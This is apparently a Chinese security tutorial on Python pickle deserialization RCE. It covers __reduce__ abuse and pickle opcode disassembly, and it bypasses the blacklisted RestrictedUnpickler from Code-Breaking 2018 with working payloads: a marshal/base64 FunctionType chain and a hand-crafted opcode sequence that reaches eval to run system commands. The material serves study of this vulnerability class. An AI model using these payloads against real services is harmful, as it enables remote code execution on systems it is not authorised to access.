python反序列化漏洞

概述

Python中序列化一般有两种方式: pickle/cPickle模块和json模块, 前者是Python特有的格式, 后者是json通用的格式。

Pickle

有如下四种常用方法

函数 说明
pickle.dump(obj, file) 对象反序列化到文件对象并存入文件
pickle.dumps(obj) 将对象序列化成字符串格式的字节流
pickle.load(file) 读取文件, 将文件中的序列化内容反序列化为对象
pickle.loads(bytes_obj) 将字符串格式的字节流反序列化为对象
1
注意:file文件需要以 2 进制方式打开,如 `wb`、`rb`

除去文件,一种简单的工作方式涉及到:

  • 序列化pickle.dumps):将 Python 对象转换为字节流。
  • 反序列化pickle.loads):将字节流转换回 Python 对象。

给出一个示例漏洞代码

1
2
3
4
5
6
7
8
9
10
11
12
import pickle
import os

class PickleRCE(object):
def __reduce__(self):
return (os.system, ('whoami',)) # 这里尝试执行系统命令

# 创建恶意pickle数据
Pickle_RCE = pickle.dumps(PickleRCE())

# 反序列化恶意数据
pickle.loads(Pickle_RCE) # 反序列化时会自动调用里面的__reduce__方法,从而 RCE

在这个示例中,PickleRCE 类通过__reduce__方法定义了在反序列化时应该执行的操作,即执行os.system('whoami'),这是一个常用来查看当前用户的系统命令。

触发原理是:在pickle的反序列化过程中,如果反序列化的对象包含特定的方法,如__reduce____reduce_ex__,这些方法在反序列化时会被自动调用(类似于 PHP 中的 wakeup()),从而可能执行其中定义的任意代码。这正是pickle反序列化漏洞的核心所在。

与 PHP 反序列化漏洞不同的是(PHP 反序列化漏洞要求源代码中必须存在有问题的类,且对象参数可控可生成恶意对象),而 Python 反序列化漏洞,只需要被反序列化的字符可控即可造成 RCE(可自己创建危险方法来命令执行)

OPcode(Operation Code)

通过 dumps 方式序列化之后,对应的字符串是 Pickle 的OPcode,我们可以再 pickle.py(位于 python 的 lib 中) 中看到详解(python312为例):

image-20240925172703060

可以看到有多个 protocol 版本,整体是向下兼容的。可以在序列化时指定,如:dumps(aaa, 0)

我们利用一个例子来学习常见的 OPcode

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import pickle
import pickletools
import os

class RCE(): #类名
def __init__(self):
self.age=18
def __reduce__(self):
return (os.system, ('whoami',))

R=RCE()
opcode=pickle.dumps(R, 0) # 指定 protocol = 0
pickletools.dis(opcode)
print('----')
print(opcode)

结果

1
2
3
4
5
6
7
8
9
10
11
12
13
14
D:\\code\\py\\hack\\venv\\Scripts\\python.exe D:\\code\\py\\hack\\pickle01.py 
0: c GLOBAL 'nt system' # 向栈顶压入`nt.system`这个可执行对象
11: p PUT 0 # 将这个对象存储到memo的第0个位置
14: ( MARK # 压入一个元组的开始标志
15: V UNICODE 'whoami' # 压入一个字符串
23: p PUT 1 # 将这个字符串存储到memo的第1个位置
26: t TUPLE (MARK at 14) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
27: p PUT 2 # 将这个元组存储到memo的第2个位置
30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
34: . STOP # 结束整个程序
highest protocol among opcodes = 0
----
b'cnt\\nsystem\\np0\\n(Vwhoami\\np1\\ntp2\\nRp3\\n.

特性

反序列化执行 reduce 魔术方法,在 return 时,回自动导入源代码中没有引入的模块,例如:

1
2
3
import pickle
s ="cos\\nsystem\\n(S'whoami'\\ntR." # 可以自己写一个恶意类然后生成str
pickle.loads(s) # 实际上会执行 os.system('whoami'),但是可以看到源代码中并未导入 os 模块

这极大地拓宽了我们的攻击面。其中 s 的构造可以自己写一个类去构造。规则就是 PVM 的操作码,py2 和 py3 不同,主要看环境。

Blacklist 绕过

我们查看官方推荐的沙箱机制

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
import builtins
import io
import pickle

safe_builtins = {
'range',
'complex',
'set',
'frozenset',
'slice',
}

class RestrictedUnpickler(pickle.Unpickler):

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name in safe_builtins:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))

def restricted_loads(s):
"""Helper function analogous to pickle.loads()."""
return RestrictedUnpickler(io.BytesIO(s)).load()

用白名单的形式且限制了反序列化的对象必须是builtins模块中的对象。

p 牛在code-breaking 2018 picklecode 中改写这个find_class,改成了黑名单方式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import pickle
import io
import builtins

__all__ = ('PickleSerializer', )

class RestrictedUnpickler(pickle.Unpickler):
blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}

def find_class(self, module, name):
# Only allow safe classes from builtins.
if module == "builtins" and name not in self.blacklist:
return getattr(builtins, name)
# Forbid everything else.
raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
(module, name))
......

这里黑名单的形式就意味着从 builtins 入手可能找到绕过黑名单的方式。

关于 builtins,GPT4 解释:在 Python 中,builtins 模块是一个非常特殊的模块,因为它提供了所有 Python 内置函数的访问,这些内置函数是 Python 解释器的核心组成部分,无需任何导入就可以在任何地方使用。这些内置功能包括基础类型(如 int, float, dict)、内置函数(如 print(), len())、异常类型(如 ValueError, KeyError)等。

同时,GPT 还说:

  • 不要轻易覆盖:由于 builtins 模块中的元素是全局可用的,覆盖这些内置的名称可能会导致意想不到的行为。例如,重新定义 listopen 可能会在代码的其他部分引发错误。
  • 安全性:在执行动态操作时,如使用 getattr 访问 builtins,应当小心,避免执行不安全或未经验证的输入,这可能导致安全漏洞。

我们先看看这个使用 getattr 访问 builtins 是怎么个事

使用 getattr 函数来访问 Python 的 builtins 模块可以提供一种动态调用内置函数或访问内置对象的方法。基本用法是 getattr(object, name[, default],其中:

  • object 是你想从中获取属性的对象。
  • name 是一个字符串,表示你想获取的属性名。
  • default 是可选的,如果指定的属性不存在时返回的值。

builtins 模块的上下文中,object 将是 builtins 模块本身。

我们可以通过builtins.getattr('builtins', 'eval')来获取eval函数,然后再执行,此时使用的模块是 builtins 而方法是 getattr ,绕过黑名单校验。

现在我们需要构造出这个 pickle 的 opcode 然后执行序列化操作从而执行我们构造的 eval

构造 opcode

目前的思路是我们要构造 pickle code,来执行:

1
2
func = getattr(__import__('builtins'), 'eval')
func('__import__("os").system("whoami")')

但是我们没办法直接通过 reduce 来执行这条:

image-20240925172606596

因为 reduce 必须返回一个包含两部分的元组:一个可调用对象,用于重新创建序列化对象;一个元组,该元组包含传递给第一个元素(可调用对象)的参数。也就是说只能执行一个函数,而我们需要执行两个函数。所以要想办法手搓 opcode。

pickle的内容存储在如下两个位置中:

  • stack 栈
  • memo 一个列表,可以存储信息

对于之前那个简单的例子生成的opcode(b'cnt\\nsystem\\np0\\n(Vwhoami\\np1\\ntp2\\nRp3\\n.)

做出解释:

1
2
3
4
5
6
7
8
9
10
 0: c    GLOBAL     'nt system'   # 向栈顶压入`nt.system`这个可执行对象
11: p PUT 0 # 将这个对象存储到memo的第0个位置
14: ( MARK # 压入一个元组的开始标志
15: V UNICODE 'whoami' # 压入一个字符串
23: p PUT 1 # 将这个字符串存储到memo的第1个位置
26: t TUPLE (MARK at 14) # 将由刚压入栈中的元素弹出,再将由这个元素组成的元组压入栈中
27: p PUT 2 # 将这个元组存储到memo的第2个位置
30: R REDUCE # 从栈上弹出两个元素,分别是可执行对象和元组,并执行,结果压入栈中
31: p PUT 3 # 将栈顶的元素(也就是刚才执行的结果)存储到memo的第3个位置
34: . STOP # 结束整个程序

接下来想办法构造出 opcode

  1. 可以直接使用marshell工具直接梭哈,但是它的原理是使用了types.FunctionType 同样不是白名单模块,这里还是先列一下 POC,生成恶意 opcode
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
import base64
import marshal
import types
import ctypes
import builtins
def foo():
# 执行系统命令 'whoami'
getattr(__import__('builtins'), 'eval')('__import__("os").system("whoami")')
print('success!!!')

encoded = base64.b64encode(marshal.dumps(foo.__code__)).decode('utf-8')

print(f"""ctypes
FunctionType
(cmarshal
loads
(cbase64
b64decode
(S'{encoded}'
tRtRcbuiltins
globals
(tRS''
tR(tR.""")
利用该 opcode 执行即可 getshell
  1. 也可使用开源项目 https://github.com/eddieivan01/pker,readme中有该情景的构造方式
  2. 尝试手搓
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
cbuiltins #设置builtins为可执行对象
getattr #获取builtins.getattr函数,而且被存放在stack中
(cbuiltins #getattr函数从stack中弹出,被圧入metastack;设置builtins为可执行对象
dict #获取builtins.dict对象(因为globals是字典类型的),得到的dict类型被存放在stack中
S'get' #将"get"字符串压入stack中
tR(cbuiltins ###弹出metastack中的getattr函数,圧入stack中,然后使顶层的builtins.dict,'get'组成元组,
###再将这整个结果圧入栈中(这时getattr函数和新组成的元组均被存放在stack中,而metastack为空);
###随后执行builtins.getattr(builtins.dict,'get'),使得metastack为空,而stack中是结果,也就是对dict类型的get方法;
###之后get方法从stack弹出并圧入metastack;最后设置builtins为可执行对象
globals #获取builtins.globals,被存放在stack中(这时metastack为get方法而stack中是builtins.globals)
(tRS'builtins' ###将builtins.globals从stack中弹出并圧入metastack,这时metastack含有get方法和globals函数,而stack为空;
###从metastack中弹出globals函数至stack,生成了一个空元组并被圧入stack;命令执行globals(),且将结果圧入stack;
###随后"builtins"字符串被圧入stack栈中
tRp1 ###从metastack中弹出get函数至stack中(这时metastack已经空了),原先在stack顶层的"builtins"字符串和globals()的结果组成一个新元组;
###命令执行dict.get(globals(),"builtins"),生成的结果圧入stack中;将stack顶部的内容存到memo的里,编号为1
cbuiltins
getattr
(g1 #获取builtins对象
S'eval'
tR(S'__import__("os").system("ls -la")' #等同于builtins.getattr(builtins,"eval")并将这个可调用的eval对象压入栈中
tR #等同于eval("__import__('os).system('ls')")并结束程序的运行
. #结束的标志